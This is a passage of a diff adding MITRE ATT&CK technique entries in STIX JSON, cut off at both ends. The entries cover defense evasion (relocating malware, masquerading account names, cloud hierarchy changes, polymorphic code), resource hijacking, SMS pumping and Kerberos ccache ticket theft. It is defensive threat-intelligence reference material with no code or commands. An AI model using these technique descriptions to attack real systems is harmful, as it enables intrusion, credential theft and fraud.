to avoid creating a second instance of itself.(Citation: Intezer RedXOR 2021)(Citation: Deep Instinct BPFDoor 2023)\n\nMutex names may be hard-coded or dynamically generated using a predictable algorithm.(Citation: ICS Mutexes 2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1480/002", + "external_id": "T1480.002" + }, + { + "source_name": "Intezer RedXOR 2021", + "description": "Joakim Kennedy and Avigayil Mechtinger. (2021, March 10). New Linux Backdoor RedXOR Likely Operated by Chinese Nation-State Actor. Retrieved September 19, 2024.", + "url": "https://intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/" + }, + { + "source_name": "Sans Mutexes 2012", + "description": "Lenny Zeltser. (2012, July 24). Looking at Mutex Objects for Malware Discovery & Indicators of Compromise. Retrieved September 19, 2024.", + "url": "https://www.sans.org/blog/looking-at-mutex-objects-for-malware-discovery-indicators-of-compromise/" + }, + { + "source_name": "ICS Mutexes 2015", + "description": "Lenny Zeltser. (2015, March 9). How Malware Generates Mutex Names to Evade Detection. Retrieved September 19, 2024.", + "url": "https://isc.sans.edu/diary/How+Malware+Generates+Mutex+Names+to+Evade+Detection/19429/" + }, + { + "source_name": "Microsoft Mutexes", + "description": "Microsoft. (2022, March 11). Mutexes. Retrieved September 19, 2024.", + "url": "https://learn.microsoft.com/en-us/dotnet/standard/threading/mutexes" + }, + { + "source_name": "Deep Instinct BPFDoor 2023", + "description": "Shaul Vilkomir-Preisman and Eliran Nissan. (2023, May 10). BPFDoor Malware Evolves \u2013 Stealthy Sniffing Backdoor Ups Its Game. Retrieved September 19, 2024.", + "url": "https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Manikantan Srinivasan, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India", + "Nagahama Hiroki \u2013 NEC Corporation Japan" + ], + "x_mitre_data_sources": [ + "Process: OS API Execution", + "File: File Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cc36eeae-2209-4e63-89d3-c97e19edf280", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-05-31 11:07:57.406000+00:00", + "modified": "2024-10-13 15:48:46.391000+00:00", + "name": "Relocate Malware", + "description": "Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts.\n\nRelocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)\n\nRelocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1070/010", + "external_id": "T1070.010" + }, + { + "source_name": "Latrodectus APR 2024", + "description": "Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice" + }, + { + "source_name": "DFIR Report Trickbot June 2023", + "description": "The DFIR Report. (2023, June 12). A Truly Graceful Wipe Out. Retrieved May 31, 2024.", + "url": "https://thedfirreport.com/2023/06/12/a-truly-graceful-wipe-out/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matt Anderson, @\u200cnosecurething, Huntress" + ], + "x_mitre_data_sources": [ + "File: File Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d349c66e-18e1-4d8b-a2d7-65af7cbd2ba0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-05 21:39:16.274000+00:00", + "modified": "2024-10-17 15:20:36.705000+00:00", + "name": "Masquerade Account Name", + "description": "Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during [Create Account](https://attack.mitre.org/techniques/T1136), although accounts may also be renamed at a later date. This may also coincide with [Account Access Removal](https://attack.mitre.org/techniques/T1531) if the actor first deletes an account before re-creating one with the same name.(Citation: Huntress MOVEit 2023)\n\nOften, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management.(Citation: Elastic CUBA Ransomware 2022)(Citation: Aquasec Kubernetes Attack 2023) They may also give accounts generic, trustworthy names, such as \u201cadmin\u201d, \u201chelp\u201d, or \u201croot.\u201d(Citation: Invictus IR Cloud Ransomware 2024) Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to [Account Discovery](https://attack.mitre.org/techniques/T1087). \n\nNote that this is distinct from [Impersonation](https://attack.mitre.org/techniques/T1656), which describes impersonating specific trusted individuals or organizations, rather than user or service account names. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036/010", + "external_id": "T1036.010" + }, + { + "source_name": "Elastic CUBA Ransomware 2022", + "description": "Daniel Stepanic, Derek Ditch, Seth Goodwin, Salim Bitam, Andrew Pease. (2022, September 7). CUBA Ransomware Campaign Analysis. Retrieved August 5, 2024.", + "url": "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis" + }, + { + "source_name": "Invictus IR Cloud Ransomware 2024", + "description": "Invictus IR. (2024, January 11). Ransomware in the cloud. Retrieved August 5, 2024.", + "url": "https://www.invictus-ir.com/news/ransomware-in-the-cloud" + }, + { + "source_name": "Huntress MOVEit 2023", + "description": "John Hammond. (2023, June 1). MOVEit Transfer Critical Vulnerability CVE-2023-34362 Rapid Response. Retrieved August 5, 2024.", + "url": "https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response" + }, + { + "source_name": "Aquasec Kubernetes Attack 2023", + "description": "Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023.", + "url": "https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Menachem Goldstein" + ], + "x_mitre_data_sources": [ + "User Account: User Account Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "IaaS", + "Containers", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0ce73446-8722-4086-9d43-514f1d0f669e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-25 14:16:19.234000+00:00", + "modified": "2024-09-25 16:15:41.224000+00:00", + "name": "Modify Cloud Resource Hierarchy", + "description": "Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses. \n\nIaaS environments often group resources into a hierarchy, enabling improved resource management and application of policies to relevant groups. Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.(Citation: AWS Organizations)(Citation: Microsoft Azure Resources)\n\nAdversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim\u2019s compute resources without generating logs on the victim tenant.(Citation: Microsoft Peach Sandstorm 2023)(Citation: Microsoft Subscription Hijacking 2022)\n\nIn AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization. This account will use the same payment methods registered to the payment account but may not be subject to existing detections or Service Control Policies.(Citation: AWS RE:Inforce Threat Detection 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1666", + "external_id": "T1666" + }, + { + "source_name": "AWS Organizations", + "description": "AWS. (n.d.). Terminology and concepts for AWS Organizations. Retrieved September 25, 2024.", + "url": "https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html" + }, + { + "source_name": "AWS RE:Inforce Threat Detection 2024", + "description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.", + "url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf" + }, + { + "source_name": "Microsoft Subscription Hijacking 2022", + "description": "Dor Edry. (2022, August 24). Hunt for compromised Azure subscriptions using Microsoft Defender for Cloud Apps. Retrieved September 5, 2023.", + "url": "https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/hunt-for-compromised-azure-subscriptions-using-microsoft/ba-p/3607121" + }, + { + "source_name": "Microsoft Azure Resources", + "description": "Microsoft Azure. (2024, May 31). Organize your Azure resources effectively. Retrieved September 25, 2024.", + "url": "https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-setup-guide/organize-resources" + }, + { + "source_name": "Microsoft Peach Sandstorm 2023", + "description": "Microsoft Threat Intelligence. (2023, September 14). Peach Sandstorm password spray campaigns enable intelligence collection at high-value targets. Retrieved September 18, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Cloud Service: Cloud Service Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b577dfc1-0177-4522-8d5a-782127c8592b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-27 12:28:03.938000+00:00", + "modified": "2024-10-09 18:56:28.092000+00:00", + "name": "Polymorphic Code", + "description": "Adversaries may utilize polymorphic code (also known as metamorphic or mutating code) to evade detection. Polymorphic code is a type of software capable of changing its runtime footprint during code execution.(Citation: polymorphic-blackberry) With each execution of the software, the code is mutated into a different version of itself that achieves the same purpose or objective as the original. This functionality enables the malware to evade traditional signature-based defenses, such as antivirus and antimalware tools.(Citation: polymorphic-sentinelone) \nOther obfuscation techniques can be used in conjunction with polymorphic code to accomplish the intended effects, including using mutation engines to conduct actions such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010), or [Encrypted/Encoded File](https://attack.mitre.org/techniques/T1027/013).(Citation: polymorphic-linkedin)(Citation: polymorphic-medium)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027/014", + "external_id": "T1027.014" + }, + { + "source_name": "polymorphic-blackberry", + "description": "Blackberry. (n.d.). What is Polymorphic Malware?. Retrieved September 27, 2024.", + "url": "https://www.blackberry.com/us/en/solutions/endpoint-security/ransomware-protection/polymorphic-malware" + }, + { + "source_name": "polymorphic-sentinelone", + "description": "SentinelOne. (2023, March 18). What is Polymorphic Malware? Examples and Challenges. Retrieved September 27, 2024.", + "url": "https://www.sentinelone.com/cybersecurity-101/threat-intelligence/what-is-polymorphic-malware" + }, + { + "source_name": "polymorphic-medium", + "description": "Shellseekercyber. (2024, January 7). Explainer: Packed Malware. Retrieved September 27, 2024.", + "url": "https://medium.com/@shellseekerscyber/explainer-packed-malware-16f09cc75035" + }, + { + "source_name": "polymorphic-linkedin", + "description": "Sherwin Akshay. (2024, May 28). Techniques for concealing malware and hindering analysis: Packing up and unpacking stuff. Retrieved September 27, 2024.", + "url": "https://www.linkedin.com/pulse/techniques-concealing-malware-hindering-analysis-packing-akshay-unijc" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ye Yint Min Thu Htut, Active Defense Team, DBS Bank", + "TruKno" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "File: File Creation", + "File: File Metadata" + ], + "x_mitre_defense_bypassed": [ + "Signature-based Detection" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--718cb208-6446-4572-a2f0-9c799c60091e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-25 13:44:35.412000+00:00", + "modified": "2024-09-25 14:59:35.287000+00:00", + "name": "Bandwidth Hijacking", + "description": "Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking) Finally, they may engage in internet-wide scanning in order to identify additional targets for compromise.(Citation: Unit 42 Leaked Environment Variables 2024)\n\nIn addition to incurring potential financial costs or availability disruptions, this technique may cause reputational damage if a victim\u2019s bandwidth is used for illegal activities.(Citation: Sysdig Proxyjacking)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1496/002", + "external_id": "T1496.002" + }, + { + "source_name": "Sysdig Proxyjacking", + "description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.", + "url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/" + }, + { + "source_name": "Unit 42 Leaked Environment Variables 2024", + "description": "Margaret Kelley, Sean Johnstone, William Gamazo, and Nathaniel Quist. (2024, August 15). Leaked Environment Variables Allow Large-Scale Extortion Operation in Cloud Environments. Retrieved September 25, 2024.", + "url": "https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation/" + }, + { + "source_name": "GoBotKR", + "description": "Zuzana Hromcov\u00e1. (2019, July 8). Malicious campaign targets South Korean users with backdoor\u2011laced torrents. Retrieved March 31, 2022.", + "url": "https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "File: File Creation", + "Command: Command Execution", + "Process: Process Creation", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "IaaS", + "Containers" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--924d273c-be0d-4d8d-af58-2dddb15ef1e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-25 14:05:59.910000+00:00", + "modified": "2024-10-16 17:59:27.535000+00:00", + "name": "Cloud Service Hijacking", + "description": "Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability. \n\nFor example, adversaries may leverage email and messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification Service (SNS), SendGrid, and Twilio, in order to send large quantities of spam / [Phishing](https://attack.mitre.org/techniques/T1566) emails and SMS messages.(Citation: Invictus IR DangerDev 2024)(Citation: Permiso SES Abuse 2023)(Citation: SentinelLabs SNS Sender 2024) Alternatively, they may engage in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted AI models.(Citation: Sysdig LLMJacking 2024)(Citation: Lacework LLMJacking 2024)\n\nIn some cases, adversaries may leverage services that the victim is already using. In others, particularly when the service is part of a larger cloud platform, they may first enable the service.(Citation: Sysdig LLMJacking 2024) Leveraging SaaS applications may cause the victim to incur significant financial costs, use up service quotas, and otherwise impact availability. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1496/004", + "external_id": "T1496.004" + }, + { + "source_name": "SentinelLabs SNS Sender 2024", + "description": "Alex Delamotte. (2024, February 15). SNS Sender | Active Campaigns Unleash Messaging Spam Through the Cloud. Retrieved September 25, 2024.", + "url": "https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/" + }, + { + "source_name": "Invictus IR DangerDev 2024", + "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.", + "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me" + }, + { + "source_name": "Lacework LLMJacking 2024", + "description": "Lacework Labs. (2024, June 6). Detecting AI resource-hijacking with Composite Alerts. Retrieved September 25, 2024.", + "url": "https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts" + }, + { + "source_name": "Sysdig LLMJacking 2024", + "description": "LLMjacking: Stolen Cloud Credentials Used in New AI Attack. (2024, May 6). Alessandro Brucato. Retrieved September 25, 2024.", + "url": "https://sysdig.com/blog/llmjacking-stolen-cloud-credentials-used-in-new-ai-attack/" + }, + { + "source_name": "Permiso SES Abuse 2023", + "description": "Nathan Eades. (2023, January 12). SES-pionage. Retrieved September 25, 2024.", + "url": "https://permiso.io/blog/s/aws-ses-pionage-detecting-ses-abuse/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Cloud Service: Cloud Service Modification", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-25 13:34:30.100000+00:00", + "modified": "2024-10-13 16:58:38.820000+00:00", + "name": "Compute Hijacking", + "description": "Adversaries may leverage the compute resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nOne common purpose for [Compute Hijacking](https://attack.mitre.org/techniques/T1496/001) is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for [Compute Hijacking](https://attack.mitre.org/techniques/T1496/001) and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1496/001", + "external_id": "T1496.001" + }, + { + "source_name": "Unit 42 Hildegard Malware", + "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/" + }, + { + "source_name": "CloudSploit - Unused AWS Regions", + "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.", + "url": "https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc" + }, + { + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", + "url": "https://securelist.com/lazarus-under-the-hood/77908/" + }, + { + "source_name": "Trend Micro Exposed Docker APIs", + "description": "Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.", + "url": "https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html" + }, + { + "source_name": "Trend Micro War of Crypto Miners", + "description": "Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.", + "url": "https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow", + "Sensor Health: Host Status", + "Process: Process Creation", + "File: File Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Containers" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--130d4494-b2d6-4040-bcea-6e59f05222fe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-25 13:53:19.586000+00:00", + "modified": "2024-10-16 17:45:14.210000+00:00", + "name": "SMS Pumping", + "description": "Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability.(Citation: Twilio SMS Pumping) SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim\u2019s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.(Citation: Twilio SMS Pumping Fraud)\n\nThreat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background.(Citation: Twilio SMS Pumping)(Citation: AWS RE:Inforce Threat Detection 2024) In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.(Citation: Twilio SMS Pumping)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1496/003", + "external_id": "T1496.003" + }, + { + "source_name": "AWS RE:Inforce Threat Detection 2024", + "description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.", + "url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf" + }, + { + "source_name": "Twilio SMS Pumping", + "description": "Twilio. (2024, April 10). What Is SMS Pumping Fraud and How to Stop It. Retrieved September 25, 2024.", + "url": "https://www.twilio.com/en-us/blog/sms-pumping-fraud-solutions" + }, + { + "source_name": "Twilio SMS Pumping Fraud", + "description": "Twilio. (n.d.). What is SMS Pumping Fraud?. Retrieved September 25, 2024.", + "url": "https://www.twilio.com/docs/glossary/what-is-sms-pumping-fraud" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--394220d9-8efc-4252-9040-664f7b115be6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-17 15:02:31.324000+00:00", + "modified": "2024-10-14 21:26:37.856000+00:00", + "name": "Ccache Files", + "description": "\nAdversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials. \n\nThe /etc/krb5.conf configuration file and the KRB5CCNAME environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using kinit, which obtains a Ticket-Granting-Ticket (TGT) for the principal; klist, which lists obtained tickets currently held in the credentials cache; and other built-in binaries.(Citation: Kerberos GNU/Linux)(Citation: Binary Defense Kerberos Linux)\n\nAdversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform [Privilege Escalation](https://attack.mitre.org/tactics/TA0004). Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further [Lateral Movement](https://attack.mitre.org/tactics/TA0008). On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1558/005", + "external_id": 